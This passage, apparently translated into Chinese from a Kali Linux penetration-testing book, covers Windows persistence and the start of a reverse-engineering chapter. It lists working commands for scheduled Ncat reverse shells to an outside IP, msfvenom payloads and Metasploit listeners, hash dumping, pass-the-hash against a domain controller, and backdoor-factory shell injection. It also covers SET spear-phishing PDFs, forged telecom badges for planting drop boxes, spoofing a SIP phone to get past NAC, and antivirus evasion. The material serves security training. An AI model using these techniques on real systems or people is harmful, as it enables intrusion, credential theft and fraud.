现在从服务器退出,你就可以干净地离开了。如果你在退出连接时在每台机器上都这样做,那么你就不会被发现。由于这都是基于文本的,当通过这么多的转向运行命令时,你不会真正注意到任何延迟。此外,所有这些流量都是通过 SSH 加密的,因此没有人可以看到你在做什么或者你要去哪里。

使用 Ncat 保持访问

NetCatNcat)是一个鲜为人知但功能强大的工具,旨在与网络端口建立原始套接字连接。它是一个小型工具,设计为从一个可执行文件运行,可以轻松传输到系统,并且还可以重命名为任何名称,以隐藏操作系统中的可执行文件。Ncat 将仅使用用户级访问权限回拨到攻击服务器。Ncat 是一个开源应用程序,由www.insecure.org提供,这些人也是维护 Nmap 的同样出色的人。Ncat 及其较老的表亲nc都已安装在 Kali 上。Ncat 与 Nmap 的任何安装捆绑在一起。

实际上,如前所述,Ncat 有两个版本。旧版本的可执行文件是ncnc也会对任何 TCP/UDP 端口进行原始套接字连接:

Ncat 的一个重要优势是它支持 SSL 加密,而 nc 的所有流量都是明文的。nc 的流量有时会被 IDS/IPS 和其他安全设备捕获。Ncat 的流量可以被加密和隐藏,并且看起来像一个 HTTPS 流。Ncat 还有能力只允许来自某些 IP 地址或 IP 子网的连接。

破坏机器的初始攻击可以是网络攻击,也可以是使用某种社会工程方法,比如携带负载以连接回我们攻击服务器的鱼叉式网络钓鱼邮件。

以下截图显示了一份你会想要拒绝的报价 PDF。这个 PDF 包含相同的phone home负载,并旨在在用户没有任何交互或批准的情况下安装恶意软件负载。这个 PDF 是使用一个巧妙的工具创建的,我们将在下一节中看到,使用社会工程工具包创建一个鱼叉式网络钓鱼攻击

一旦初始攻击被破坏,我们希望系统定期回拨。这样的攻击可以设置为保持恒定的连接,每次连接丢失时都会重置连接。它也可以设置为在指定的时间间隔重新连接。我们喜欢设置这些,这样攻击会在某个特定时间回拨,如果攻击机器上没有要连接的端口,那么攻击会保持沉默,直到再次到达那个时间。一个完全持久的连接可能会引起网络安全的注意。

我们现在连接到受害者机器,并向受害者上传 Ncat 的副本。从会话中可以看出,这是一次内部攻击。ncat.exe文件位于 Kali 的/usr/share/ncat-w32/目录中。连接后,在 Meterpreter 中运行以下命令:

upload /usr/share/ncat-w32/ncat.exe C:/windows/ncat.exe  

这将把 Ncat 可执行文件传输到受害者系统。请注意,我们在使用/而不是\作为目录斜杠。由于您使用的是 Linux,必须使用正斜杠/。如果您使用****并运行命令,您会发现目录名称会连在一起,文件将无法正确上传。

转到 Windows 7 受害者,我们可以在Windows目录中看到该文件:

设置 NetCat 客户端

自 Windows NT 3.14 以来,Windows 一直有一个命令行工具来运行计划任务。这个工具叫做AT命令。这个命令与 Linux 或 UNIX 上可用的cron命令非常相似。您可以设置时间、日期和运行任何命令行工具或脚本的次数。因此,使用您的 Meterpreter 连接shell到系统:

shell  

您现在在受害者系统中。输入以下命令:

AT 5:00PM ncat.exe -nv 128.199.190.69 443 -ssl -e cmd.exe  

这设置了一个每天下午 5:00 运行的作业。它将使用以下变量运行ncat.exe可执行文件。它正在调用攻击服务器128.199.190.69的端口443-ssl标志告诉连接使用 SSL。-e cmd.exe标志告诉可执行文件通过连接运行cmd.exe可执行文件。

在下午 5:00 之前,我们使用各种枢纽登录到我们的恶意服务器,并启动ncat进入监听模式,等待下午 5:00 到来。

请注意,我们在这里连接到//rogue3并运行以下命令:

ncat -nvlp 443 -ssl  

-n标志告诉系统不使用 DNS。-v告诉系统使输出详细,这样您可以看到输入和输出。-l告诉 Ncat 监听。-p告诉 Ncat 在端口443上监听,-ssl告诉 Ncat 使用 SSL 加密会话:

我们现在已经连接到我们黑客入侵的 Windows 7 机器,具有完整的管理员访问权限,这个漏洞利用将在每天下午 5:00 准备好使用,而无需对网络进行进一步攻击。

警告!

一个真正的攻击者会将 Ncat 的名称更改为更模糊和难以在您的文件系统中发现的名称。小心您的系统上存在两个calc.exenotepad.exe。一个在奇怪的地方很可能是 Ncat 或我们接下来要构建的另一种类型的漏洞利用。

使用 Metasploit 打电话回家

好吧,那是老派的方法。现在,让我们使用 Metasploit 的工具来做同样的事情。我们将在//rogue3上加载 Metasploit,我们邪恶的服务器,让我们的受害者机器连接到该机器上的 Meterpreter shell。我们将从之前的内部黑客中构建和上传这个漏洞利用。除了msfconsole之外,我们还将使用 Metasploit 工具包中的其他工具。Metasploit 配备了一个独立的应用程序来构建自定义漏洞和 shellcode。这个工具叫做msfvenom,我们将使用它来构建一个漏洞利用。完全使用msfvenom可能是一个完整的章节,超出了本书的范围,所以在这里我们将使用最常见的标志来生成我们的可执行文件来构建一个反向 HTTP 漏洞利用。我们将通过运行以下命令来构建漏洞利用:

msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_https -f exe -o svchost13.exe  

MSFvenom 是一个强大且可配置的工具。MSFvenom 具有构建自定义漏洞的能力,可以绕过任何防病毒软件。防病毒软件通过查看文件的签名来工作。MSFvenom 具有编码漏洞的能力,使得防病毒软件无法检测到它。这是隐藏漏洞的情况,就像另一个常见的可执行文件,比如记事本 MSFvenom,可以向可执行文件添加 NOP 或空代码,使其大小与原始文件相同。很可怕,不是吗?

以下表格显示了标志的列表:

用法:
/opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
选项
-p
-l
-n
-f
-e
-a
-s
-b
-i
-c
-x
-k
-o
-h

以下截图显示了命令的输出。msfvenom显示没有使用编码器,并且在构建中没有检查坏字符。对于这个演示,它们是不需要的:

现在,通过运行ls命令,我们可以看到我们的文件:

现在我们有东西要上传。就像 Ncat 示例一样,我们将使用我们对系统的内部妥协来上传我们的漏洞利用:

与 Ncat 一样,我们将进入受害者机器并设置AT命令运行svchost13.exe

shell
AT 5:25PM c:\windows\svchost.exe
exit  

在下午 5:25 之前,登录到恶意服务器//rogue3。启动 Metasploit 服务msfconsole,设置监听器并接受连接。然后使用以下命令设置常见处理程序模块:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 128.199.190.69
set LPORT 443
exploit  

运行 exploit 后,处理程序将开始监听端口443,等待你无助的受害者打电话回家。等待一会儿后,我们看到一个来自69.131.155.226的连接。这是我们受害者机器背后防火墙的地址。然后处理程序给我们系统的命令提示符。运行 Meterpreter 命令sysinfo,我们可以看到名称和机器信息。从这里,你拥有完全的控制权!

一个真正的攻击者可能设置这个漏洞并且几个月后才回来。唯一的问题迹象将是每天下午 5:25 只有一个连接出去并失败。这只是网络上的一个小问题。

你可能会兴奋地继续下一个征服,但由于我们在网络防火墙后面的机器上,让我们看看网络的其他部分。通过运行ipconfig,我们看到这台机器上有两个网络接口。一个在 10 网络上,地址为10.100.0.0/24,另一个在 192.168 网络上,地址为192.168.202.0。这两个都是受保护的网络,但重要的是网络不是平面的。你不能在私有范围内的两个不同网络类之间路由数据包。10 网络可以访问互联网,所以它可能是一个 DMZ,上面的机器可能更加强化并且包含的数据价值更少。这可能意味着另一个网络上有一些宝藏。这种枢纽可以连接到任一网络,但让我们在这里攻击后端网络并寻找真正的黄金:

红色标记的路径是我们将要从持久连接到后端网络攻击域控制器的枢纽路径。

那个时间已经过去,我们在我们的恶意服务器上启动了监听器,受害者机器已经打来电话。我们准备进一步。我们将使用 Meterpreter 命令autoroute来进入192.168.202.0/24网络。

这一次,当我们设置处理程序时,我们将在运行exploit命令时使用-j标志将会话发送到后台:

然后受害者机器打来电话。这告诉我们目标网络中的防火墙没有调整以阻止出站数据流,并且异常行为没有引起他们的入侵检测系统IDS)的警报。我们建立了连接:

我们在受害者机器内部,所以我们可以运行 DOS 命令。如果我们运行ipconfig,我们可以看到两个接口及其地址:

我们知道,系统管理员经常在他们的网络上重复使用密码,所以让我们从这台机器获取哈希并尝试在 DC 上使用它。将这些哈希保存到文本文件或您的KeepNote中。稍后会用到它们。

getsystem
hashdump  

注意hashdump命令还找到并下载了BO Weaver的密码提示。提示是funny。这可能会让你猜密码更容易。有些人的密码提示几乎就是他们的密码,比如Raiders Star Qback 1970。一点点研究就能告诉你四分卫是乔治·布兰达,他当时 43 岁,那是雷德队在 NFL 的第一个赛季。他的球衣号码是 16。你的密码列表需要包括GeorgeBlanda16Blanda1970和其他相关的东西:

输入以下内容:

run autoroute -s 192.168.202.0/24  

然后运行以下命令打印路由表:

run autoroute -p  

我们看到我们有一条通往后端网络的路由:

在 Metasploit 内部运行端口扫描器

现在你有了一条路线,是时候进行侦察了。为了减少噪音,我们将在 Metasploit 中使用一个简单的端口扫描程序:

  1. 通过输入以下命令退出 Meterpreter:
background  

这使得会话保持运行并处于后台状态。

  1. 设置扫描仪如下:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.202.0/24
set PORTS 139,445,389  

我们已将端口389设置为查找域控制器。

  1. 按以下方式设置活动线程数:
set THREADS 20    
  1. 按以下方式运行扫描仪:
run    

扫描程序运行,我们看到了一个 Windows 域控制器。这是我们的新目标:

现在我们有了目标和密码哈希,下一步是上传一个漏洞利用。由于我们有登录凭据,我们将使用psexec模块连接到域控制器:

我们没有使用明文密码,因为我们从 Win7 机器的管理员帐户中捕获了哈希。由于我们有哈希,我们不必暴力破解密码。不同类别的机器的密码可能不同,但在这种情况下,它们是一样的。

传递哈希

在 Metasploit 中,哈希与密码一样有效。这被称为传递哈希。传递哈希漏洞至少已经存在了十年,它们使用网络上可用的 Windows 登录会话信息。该漏洞利用本地安全机构LSA)信息来获取网络上登录到计算机的用户的 NTLM 哈希列表。用于获取信息的工具,如 Metasploit 框架或传递哈希工具包,获取用户名、域名和 LM 和 NT 哈希。

一旦利用运行,我们就会得到一个 Meterpreter shell,并通过运行sysinfo,我们可以看到我们在域控制器中:

sysinfo  

如前所述,Windows Active Directory 将密码哈希存储在 SAM 数据库中,因此我们可以使用hashdump命令来转储域中的所有哈希值:

hashdump  

我们现在从没有互联网访问权限的后端网络中妥协了王国的所有关键。如果你注意到hashdump中用户名后面的数字,你会发现管理员是用户500。许多专家告诉 Windows 网络管理员更改管理员帐户的名称,这样就没有人能够知道哪些用户具有哪些权限。显然,这是行不通的。即使使用用户名NegligibleNebbish,只要具有500的 UID,就表明这是一个具有管理权限的用户。

如果我们将此会话放在后台并运行会话命令,我们可以看到从//rogue3恶意服务器到我们受损系统的两个会话正在运行:

background
sessions -l  

投递盒

投递盒,有时也被称为跳板盒,是一个小设备,你可以将其隐藏在你正在瞄准的物理位置内。将设备放入位置有时需要其他技能,比如社会工程,甚至是一点点的闯入,以便将设备放入位置。投递盒也可以是安全顾问公司发送的一个箱子,用于在远程位置对网络进行内部渗透测试。

菠萝

如今,小型全功能计算机价格便宜且易于配置。市场上还有一些专门设计用于此目的并且可以立即使用的设备。树莓派是一款运行完整 Linux 发行版的小型单板计算机,可以为此工作进行配置。专为此目的设计的两款设备是 Wi-Fi Pineapple 和 Pwnie Express。Wi-Fi Pineapple 是我们的个人最爱。它配备了两个可分别配置的 Wi-Fi 接入点。它的大小只比一包香烟稍大。拥有两个 Wi-Fi 无线电使得这个设备能够连接并从任何网络进行跳板连接。还可以连接 USB CAT5 适配器以连接有线网络。这些设备是全功能的 Linux 系统,可以安装任何 Linux 应用程序。

树莓派是另一个可以用于这个目的的好设备。树莓派是一款小型的单板 ARM 系统,可以运行许多版本的 Linux 操作系统。是的,我们的好朋友 Offensive Security 为树莓派构建了一款 Kali 的版本。将镜像简单复制到微型 SD 卡上,系统就准备好了。他们还在这个镜像中使用了另一个巧妙的技巧,用于秘密行动。树莓派设置可以完全加密,并设置为完全从远程系统启动。通过使用特殊密码删除私人加密密钥,也可以远程使系统变砖或禁用。如何设置这个设备的完整细节可以在本章末尾的链接中找到。

现在,你必须将这个设备偷偷放入网络中。对于有线网络,一个长期受欢迎的入侵方法是友好的电信公司员工的方式。员工的工作证很容易在互联网上找到。制作工作证也是一个简单的过程。在被动足迹阶段,你可以找出谁为你的目标提供电信服务。一旦你有了工作证,你就可以出现在目标地点,携带你的工具包和笔记本电脑,去前台说:“嗨,我是来自电信公司的。”我们收到了一张关于互联网速度变慢的工单。”你会惊讶地发现这种方法多么容易就能进入大门,并直接被带到电话间。一旦进入电话间,你可以隐藏并连接你预先配置的 Drop Box。当它启动时,它会自动连接到家里,你就进入了!记住,安全的最薄弱环节始终是人的接口。

对于一种不那么侵入性的方法,如果你的目标办公室有 Wi-Fi,你可以将其用作攻击向量。这就是两个 Wi-Fi 无线电的用武之地。一个可以用来攻击和连接到目标网络,另一个可以用作你的跳板连接。Pineapple 设计为由 USB 电池包供电,就像你用来给手机充电的那种。根据电池大小,Pineapple 可以在断电之前运行长达 72 小时甚至更长时间。通过这种安排,你的恶意软件甚至可以轻松地隐藏在灌木丛中,无需交流电源即可运行。如果在你的攻击期间无法在现场,也无法与恶意服务器联系,捕获的数据也可以复制到设备上的闪存卡上。

在对位置进行物理侦察时,寻找建筑物外部的电缆。有时在某个地点进行扩建时,负责布线的人员会在建筑物外部布线,以便更容易进行安装,但这也为攻击留下了一个漏洞。通过一个良好的藏身之处,几个 RJ45 连接器和一个廉价的交换机,你就可以接入有线网络。

破解网络访问控制器(NAC)

如今,NAC 设备在网络上变得越来越普遍。NAC 确实提供了更高级别的安全性,但它们并不是它们的供应商营销和销售材料所暗示的“终极解决方案”。我们将向您展示一种简单的绕过公司网络上 NAC 控制的方法。

以下信息来自我们一段时间前对一家真实公司进行的真实黑客攻击。当然,所有的名称和 IP 地址都已更改以保护公司。这不是理论。这是真实世界的黑客攻击。对于这个戏剧化的公司来说,好消息是我们是好人。令人沮丧的是,我们只用了大约 30 分钟来弄清楚这一点,也许花了 2 个小时来完全实施。

我们将绕过公司的 NAC,https://www.widgetmakers.com。Widget Makers 公司有两个网络:一个是企业局域网(CorpNET),另一个是包含机密数据的生产网络(ProdNET)。这两个网络都是扁平设计,两个网络都可以互相完全访问。在 CorpNET 上配置并安装了一个 NAC 设备。员工现在必须在他们的机器上使用 NAC 代理才能连接到 CorpNET。Widget Makers 使用 SIP 电话进行语音通信。这些电话不在一个单独的 VLAN 上。它们连接到 CorpNET VLAN 以方便使用。Widget Makers 还在 CorpNET 上有许多网络打印机。

NAC 设备使用安装在用户机器上的代理进行用户登录和验证用户和机器的身份。这些设备可以配置为使用远程身份验证拨号用户系统RADIUS)服务器或域控制器进行用户凭据的验证。有时,NAC 设备使用证书对机器进行身份验证。试图伪造内部机器的 MAC 地址而没有代理和登录通常会导致 MAC 地址被锁定在网络之外。

系统的弱点在于代理。大多数 NAC 系统都是专有的,与一个供应商绑定。一个供应商的代理将无法与另一个供应商的代理一起使用,而且没有 NAC 控制的标准。大多数供应商只制作运行在 Windows 上的代理,所以如果你的网络上有 Mac 或 Linux 工作站,这些设备无法使用 NAC 控制加入网络。现在供应商会告诉你只能运行 Windows 网络。如果你是一名系统管理员,你知道在现实中根本就没有这样的事情。即使所有工作站和服务器都在任何网络上运行 Windows,还有其他设备要么不运行 Windows,要么无法运行 Windows。

那么,对于不运行 Windows 操作系统的电话、打印机和工作站,你该如何让它们在 NAC 控制范围内工作?你必须在 NAC 设置中将它们的 MAC 和 IP 地址列入白名单。因此,通过将这些设备之一从网络中移除并伪装其身份,你现在可以访问受限 VLAN,并具有你伪装设备的访问级别。在扁平网络中,通常你可以访问所有本地网络中的所有内容。

这种黑客攻击最容易的目标之一是 SIP 电话。如果打印机离线,人们肯定会注意到。每个人都使用打印机。要利用打印机进行这种利用,你必须选择一个不经常使用的打印机。电话是另一回事。办公室总是有额外的电话供客人使用,而且通常情况下,如果你知道员工的工作时间表,你可以选择一个度假的人的电话。拔掉他们的电话,把你的 Drop Box 贴在桌子下面,然后连接到电话插座,你就进入了:

那么你该如何保护自己呢?

首先,不要指望 NAC 成为网络上的终极安全功能。NAC 应该只是网络安全架构中的一个层面。实际上,它应该是网络安全的一个较高层面。一个简单的解决方法是关闭(拔掉)未使用的网络端口。这不会阻止黑客篡改度假的人的桌面电话,但可以防止一个空的工作区成为黑客的总部。

任何网络安全的第一层应该是适当的分割。如果不能路由到它,就无法到达它。请注意在前图中CorpNETProdNET可以完全访问彼此。通过CorpNET进入的攻击者,伪造网络设备,可以访问受限的ProdNET

使用社会工程工具包创建鱼叉式网络钓鱼攻击

社会工程工具包SET)许可协议规定,SET 纯粹是为了善良而设计的。未经网络和设备所有者授权的恶意目的使用此工具违反了此工具集的服务条款TOS)和许可证。要找到此工具,通过菜单 Kali Linux 08-渗透测试工具 | 社会工程工具包,或在命令行中键入setoolkit

这次攻击将使用 Metasploit 反向 HTTP 有效载荷,因此在使用 SET 之前,您必须执行一些步骤:

  1. 启动 Metasploit 服务。通过菜单启动 Metasploit 控制台:应用程序 | 08-渗透测试工具 | Metasploit 框架。您还可以通过在命令提示符中键入msfconsole来启动 Metasploit 框架控制台,完全避免使用 GUI 菜单。

  2. 确定本地主机地址,您的侦听器将在该地址上侦听,以便您的恶意软件有东西可以回家。在我们的测试网络中,Kali 服务器正在运行在物理主机上的虚拟机上。当恶意软件呼叫时,主机的 IP 或虚拟机的桥接伪以太网卡必须是目的地。如果您在互联网上从 VMS 机器上运行 Kali,这将稍微困难一些。

  3. 以下是测试网络的配置。有两台具有互联网访问权限的机器,以及两台只能从内部网络访问的服务器。Kali 186 是攻击者的笔记本电脑,而 Windows 10 工作站是内部网络的跳板。

  4. 一旦您启动了 Metasploit,您需要启动侦听器,这样您即将创建的恶意软件在回家时有东西可以回答。

  5. 在 MSF 命令提示符中输入以下命令:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.0.2
set LPORT 4343 exploit  
  1. 侦听器是一个正在运行的开放进程,因此光标不会返回到就绪状态。为了显示侦听器是活动的,我们可以使用nmap对其进行端口扫描:

另一方面,侦听器已经对nmap扫描做出了响应,并输出了扫描数据:

在下图中,我们可以看到扫描源由侦听器标记,并且所有扫描请求都记录为来自10.0.2.15,这是 Kali 机器的内部 IP:

我们将要创建的恶意软件将是一个包含在 PDF 文件中的可执行文件。这将作为附件发送到目标公司中一个被确认的系统管理员的电子邮件,该邮件来自一个据称是安全来源的电子邮件。我们将从社会工程工具包的菜单结构开始进行审查。

主菜单有六个条目和一个退出提示:

  1. 1)社会工程攻击

  2. 2)快速跟踪渗透测试

  3. 3)第三方模块

  4. 4)更新社会工程师工具包

  5. 5)更新 SET 配置

  6. 6)帮助、积分和关于

  7. 99)退出社会工程工具包

在条目#1 下,社会工程攻击,有 11 个条目:

  1. 1)鱼叉式网络钓鱼攻击向量

  2. 2)网站攻击向量

  3. 3)传染性媒体生成器

  4. 4)创建有效载荷和侦听器

  5. 5)大规模邮件发送攻击

  6. 6)基于 Arduino 的攻击向量

  7. 7)无线接入点攻击向量

  8. 8)QR 码生成器攻击向量

  9. 9)Powershell 攻击向量

  10. 10)第三方模块

  11. 99)返回主菜单。

使用鱼叉式网络钓鱼攻击向量菜单

鱼叉式网络钓鱼攻击向量菜单有四个选项:

    1. 执行大规模电子邮件攻击
    1. 创建一个文件格式有效负载
    1. 创建社会工程模板
    1. 返回主菜单

由于我们将建立一个持久的威胁,让我们能够控制受害者的机器,并且必须克服用户可能不愿意双击附件的可能性,我们必须创建一个不可抗拒的鱼叉式网络钓鱼邮件。为了做到这一点,提前进行有效的侦察是很重要的。

公司通讯录和日历对于制造打开邮件所需的紧迫感是有用的。就像通过电子邮件进行营销一样,无论是合法的还是垃圾邮件,鱼叉式网络钓鱼邮件的标题必须对受害者有趣、引人入胜或令人恐惧。

这封电子邮件简短、有趣,并且可以通过贪婪来制造紧迫感。附件可以是以下任何一种:

  • 一个 ZIP 文件,假定里面有一个文档

  • 一个 Word 文档

  • 一个 PDF 文件

SET 提供了 21 种可能的有效负载。其中一些在 Mac 操作系统上的效果会比在 Windows 系统上更好。大多数 Windows 工作站没有配置处理 RAR 压缩文件。以下是可用的选择:

    1. SET 自定义编写的 DLL 劫持攻击向量(RAR,ZIP)
    1. SET 自定义编写的文档 UNC LM SMB 捕获攻击
    1. MS14-017 Microsoft Word RTF 对象混淆(2014-04-01)
    1. Microsoft Windows CreateSizedDIBSECTION 堆栈缓冲区溢出
    1. Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
    1. Adobe Flash Player“Button”远程代码执行
    1. Adobe CoolType SING 表“uniqueName”溢出
    1. Adobe Flash Player“newfunction”无效指针使用
    1. Adobe Collab.collectEmailInfo 缓冲区溢出
    1. Adobe Collab.getIcon 缓冲区溢出
    1. Adobe JBIG2Decode 内存损坏利用
    1. Adobe PDF 嵌入式 EXE 社会工程
    1. Adobe util.printf()缓冲区溢出
    1. 自定义 EXE 到 VBA(通过 RAR 发送)(需要 RAR)
    1. Adobe U3D CLODProgressiveMeshDeclaration 数组超限
    1. Adobe PDF 嵌入式 EXE 社会工程(NOJS)
    1. Foxit PDF Reader v4.1.1 标题堆栈缓冲区溢出
    1. Apple QuickTime PICT PnSize 缓冲区溢出
    1. Nuance PDF Reader v6.0 启动堆栈缓冲区溢出
    1. Adobe Reader u3D 内存损坏漏洞
    1. MSCOMCTL ActiveX 缓冲区溢出(ms12-027)

让我们只选择默认的项目 12。当您按Enter时,下一个屏幕让您选择自己选择的经过处理的 PDF 文件,或者使用内置的空白 PDF。选择第二个选项,我们看到七个选项:

    1. Windows 反向 TCP Shell
    1. Windows Meterpreter Reverse_TCP
    1. Windows 反向 VNC DLL
    1. Windows 反向 TCP Shell(x64)
    1. Windows Meterpreter Reverse_TCP(X64)
    1. Windows Shell Bind_TCP (X64)
    1. Windows Meterpreter Reverse HTTPS

由于其中三个选项将运行代码,使受害者机器联系到您的 Metasploit Framework Meterpreter 工具,而且您已经在使用该工具进行练习,选择其中一个作为您的恶意有效负载可能是有意义的。让我们选择选项7) Windows Meterpreter Reverse HTTPS

当我们输入7时,会得到几个选项:

  • 监听器的 IP 地址(LHOST):使用您将拥有监听器的主机地址。我的 Kali 工作站认为它是 10.0.2.15。

  • 连接回[443]端口:端口443在这里是默认的,但您可以在监听设备上的任何端口上设置监听器。443是 HTTPS 端口,因此由于其编号,它看起来不会不寻常。端口12234看起来不寻常,如果防火墙管理员正在将批准的端口列入白名单,并将其他所有端口列入黑名单,则可能也会被阻止。它说明有效负载被发送到/root/.set/template.pdf目录。

这不是它的作用。在这种情况下,可执行文件被设置为legit.exe。当您输入文件名时,如下面的截图所示,您需要使用完整的路径:

选择 PDF 的名称后,启动社会工程工具包大规模邮件发送程序。

如果您找到了一个开放的邮件中继,邮件发送程序将使用该中继,一个 Gmail 帐户或任何合法的电子邮件 SMTP 服务器。SET 不包含自己的 SMTP 服务器。您可能希望找到一个可以用于此目的的免费电子邮件服务,或者使用一个开放的中继邮件服务器:

选择一个主题,或者编写一封新的电子邮件消息

SET 允许您为钓鱼电子邮件攻击选择几个不同的有吸引力的电子邮件主题,并且您可以轻松添加新模板以自定义方法。以下列表中的第四个选择是我们刚刚创建的选择:

为了测试系统,我选择将攻击发送到一个我控制的 Gmail 帐户。如果发送消息时出现错误,SET 不会返回到邮件发送程序部分。Google Mail 捕获了虚假的 PDF 文件,并发送了一个指向其安全页面的链接:

使用不检查感染附件的服务器的电子邮件帐户。我们使用了evilhacker@act23.com,并将电子邮件发送到kalibook@act23.com,这起作用了:

使用后门工厂来规避杀毒软件

这个利用代码在没有杀毒软件的 XP SP2 机器上运行良好,并且在任何没有安装 AV 的机器上都会运行良好,但在安装了基本默认 Windows 杀毒软件的 Windows 10 机器上效果较差。我们不得不关闭杀毒软件的实时检查功能,才能使电子邮件在没有错误的情况下读取,而杀毒软件则清除了我们的篡改文件。作为安全工程师,我们很高兴微软 Windows 10 拥有如此有效的反恶意软件功能。作为渗透测试人员,我们感到失望。

后门工厂将 shellcode 插入工作中的 EXE 文件,而不会对原始文件进行太多更改。您可以使用/usr/share/windows-binaries目录中的可执行文件,如下面的截图所示,或者任何其他没有内置保护的 Windows 二进制文件:

运行 Backdoor Factory 并在10.0.0.2上的端口43434创建一个远程 shell 的代码如下。跳洞选项将您的代码传播到可执行文件中的空白,以进一步混淆杀毒软件扫描:

backdoor-factory -cave-jumping -f /usr/share/windows-binaries/vncviewer.exe -H 10.0.0.2 -P 43434 -s reverse_shell_tcp  

如果您在 shellcode 选择中出现错误,应用程序会显示您的选择:

backdoor-factory -cave-jumping -f /usr/share/windows-binaries/vncviewer.exe -H 10.0.0.2 -P 43434 -s reverse_shell_tcp_inline 

然后,后门工厂继续并提供选项,将 shellcode 注入二进制文件中的所有空白或洞:

我们将选择 Cave 1:

backdoored目录位于根home目录~/backdoored/中,因此很容易找到。我们可以使用 SET 将这个篡改过的文件推送到大规模邮件中,但您可以只需从伪造的帐户发送电子邮件到 Windows 10 框,以查看它是否可以清除杀毒软件障碍。可执行文件必须被压缩以通过我们的邮件服务器上的过滤器,一旦它在 Windows 10 机器上解压缩,它就会被删除为恶意软件文件。

Windows 10 的默认杀毒软件发现了这个文件,就像它发现了 SET 中的其他文件一样。未打补丁的旧版本的 Windows 明显存在风险。

总结

在本章中,您已经看到了五种不同的方法来控制并在 Windows 机器上设置后门,从 Ncat 脚本编写,到 Metasploit Meterpreter 攻击,再到添加一个 Drop Box,再到使用 SET 发送钓鱼邮件,以及使用 Backdoor Factory 创建带有 shell 脚本后门的可执行文件。

在本章中,我们还学习了在各种设备上设置和使用跳板机。

在下一章中,我们将讨论反向工程恶意软件的收集,以便您了解它在野外或您的网络中可能会做什么,并对您的设备进行压力测试。

进一步阅读

第十章:逆向工程和压力测试

如果您想知道恶意软件的行为,最简单的方法是让它在您的网络中肆虐,并跟踪其在野外的行为。这不是您想要了解恶意软件行为的方式。您可能会轻易错过您的网络环境没有执行的某些内容,然后您将不得不从网络中的所有计算机中删除恶意软件。Kali 有一些精选的工具可以帮助您做到这一点。本章还涵盖了压力测试您的 Windows 服务器或应用程序。如果您想发现 DDoS 会让您的服务器崩溃多少,这是一个很好的主意。本章是如何开发一个抗脆弱、自我修复的 Windows 网络的开端。

在本章中,我们将学习以下主题:

  • 建立测试环境

  • 逆向工程理论

  • 使用布尔逻辑

  • 逆向工程实践

  • 压力测试您的 Windows 机器

与 Kali Linux 1.x 相比,Kali Linux 2.0 中提供的逆向工程工具有一些变化。一些工具已经从菜单结构中消失,如果您希望,可以使用第六章的最后一节,NetBIOS 名称服务和 LLMNR - 已过时但仍然致命,将它们放回。一些工具根本没有包含在 Kali Linux 2 中,尽管在各处都有它们的痕迹。以下表格显示了这些变化。

显示完整路径的工具在默认的 Kali 2.0 菜单中根本不存在,NASM Shell,Metasploit Framework 套件的一部分,在 Kali 1.x 菜单中也不存在。

以下表格显示了 Kali 1.x 和 2.0 中工具的区别:

技术要求

对于本章,您将需要以下内容:

  • 运行中的 Kali Linux 机器

  • 运行中的 Windows 操作系统副本(可以是虚拟机)

建立测试环境

开发您的测试环境需要对您正在测试的所有 Windows 操作系统进行虚拟机示例。例如,应用程序开发人员可能正在运行非常旧的浏览器/操作系统测试机器,以查看对于运行古董硬件的客户来说会出现什么问题。在这个例子中,我们正在运行 Windows XP、Windows 7 和 Windows 10。我们正在使用 Oracle VirtualBox 进行桌面虚拟化,但如果您更喜欢使用 VMWare,那就使用它。重要的是要使用您可以与主网络隔离的机器,以防恶意软件表现如其应该,并试图感染周围的机器。

创建您的受害机器

如果您已经为其他目的设置了 Windows 虚拟机,您可以克隆它们(可能是最安全的选项)或者从快照中运行它们(这是设置的最快方式)。在构建完它们后,这些机器不应该能够访问主网络,并且您可能应该将它们设置为仅与内部网络通信。

测试您的测试环境

  1. 启动您的 Kali 虚拟机

  2. 确保您的 Kali 实例可以与互联网通信,以便轻松获取更新

  3. 确保您的 Kali 实例可以与您的主机机器通信

  4. 启动您的目标 Windows 实例

  5. 确保您的 Windows 受害者无法访问互联网,或者您的私人以太网局域网,以避免恶意软件的意外传播

我们测试网络上的三台虚拟机都在 Oracle VirtualBox 内部的仅主机网络上。DHCP 由主机提供(192.168.56.100),三台测试网络机器分别是101102103,如下所示:

逆向工程理论

理论因某种原因使 IT 专业人员感到恐慌。这并不真正有根据,因为理论是您所有故障排除的基础。这可能是您通过 X 年的艰难试错学到的公理。在定性研究领域,这实际上被称为基础理论研究方法。逆向工程的基本理论是输出推断应用程序的内部行为。当您面对一种恶意软件时,您将开始从以下混合物中提出工作假设:

  • 从与被视为相似的恶意软件的交互中回忆的先验知识

  • 与测试中的恶意软件的交互的感知结果的概括

黑客提示

a priori的情况下给应用程序贴标签可能没有用。这可能掩盖了应用“如果它走起来像鸭子,叫起来像鸭子,那它可能就是鸭子”的公理。特别是对于恶意软件,设计可能包括一些欺骗性特征,预期会让你走上错误的道路。考虑一下作为其第一个任务删除其他特洛伊木马和 rootkit 的特洛伊木马和 rootkit。它们正在清理你的环境,但是,它们真的是你的朋友吗?

恶意软件应用程序旨在从输入中提供输出,但是知道输出和输入并不能真正让你了解输出是如何实现的。输出可以通过几种不同的方式产生,您可能会发现开发人员选择创建应用程序的方式很重要。

逆向工程的一个一般理论

这个理论是由李和约翰逊-莱尔德在 2013 年发表在《认知心理学杂志》上的,对信息安全从业者有用,因为它在布尔系统中显示。布尔系统是逻辑门。条件要么为真,要么为假。问题的一个非常常见的定义可能如下:

“任何要进行逆向工程的系统都包含一定数量的组件,这些组件共同作用产生了系统的行为。其中一些组件是可变的,也就是说,它们可以处于影响系统性能的多个不同状态,例如,数码相机上允许播放或删除照片的设置。系统的其他组件不变,例如,从开关到灯泡的导线。系统具有用户的一些不同输入和一些随之而来的输出,并且它们由有限数量的相互连接的组件中介。在某些系统中,一个组件可能具有潜在的无限数量的特定状态,例如,不同的电压。但是,为了进行逆向工程,我们假设所有可变组件都可以被视为具有有限数量的不同状态,也就是说,整个系统等同于有限状态自动机。换句话说,模拟系统可以被数字化,例如数码相机、CD 和其他以前的模拟设备。我们还假设设备旨在是确定性的,尽管非确定性有限状态设备总是可以被确定性设备模拟。”

–(李和约翰逊-莱尔德,2013)

